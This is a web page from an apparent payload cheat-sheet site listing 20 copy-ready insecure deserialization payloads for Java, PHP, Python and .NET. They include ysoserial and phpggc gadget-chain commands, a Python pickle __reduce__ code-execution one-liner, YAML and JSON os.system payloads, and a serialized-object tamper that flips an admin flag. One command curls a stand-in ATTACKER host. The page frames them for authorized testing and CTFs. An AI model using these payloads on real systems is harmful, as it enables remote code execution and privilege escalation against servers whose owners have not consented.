$loading...
Insecure deserialization payloads for Java, PHP, Python, and .NET with gadget chains and tool commands. (20 payloads)
java -jar ysoserial.jar CommonsCollections1 "id"java -jar ysoserial.jar CommonsCollections6 "curl http://ATTACKER"java -jar ysoserial.jar URLDNS "http://ATTACKER/canary"java -jar ysoserial.jar Spring1 "id"java -jar ysoserial.jar Jdk7u21 "id"Look for: rO0AB (base64) or aced0005 (hex) — Java serialized markersphpggc Monolog/RCE1 system idphpggc Laravel/RCE1 system idphpggc Symfony/RCE1 system idphpggc Guzzle/RCE1 system idLook for: O:4:"User" — PHP serialized object formatModify s:5:"admin";b:0; → s:5:"admin";b:1;import pickle,os;class E:__reduce__=lambda s:(os.system,('id',));pickle.dumps(E())!!python/object/apply:os.system ["id"]{"py/reduce":[{"py/function":"os.system"},{"py/tuple":["id"]}]}Look for: \x80\x04\x95 — Python pickle markersysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o raw -c "id"ysoserial.exe -g ObjectDataProvider -f Json.Net -o raw -c "id"ysoserial.exe -g WindowsIdentity -f BinaryFormatter -o base64 -c "id"Look for: AAEAAAD// (base64) — .NET BinaryFormatter markerLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 20 Deserialization payloads for testing Insecure Deserialization vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the Command Injection generator to build customized Deserialization variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Deserialization payloads are completely free, with no account required. Everything runs in your browser.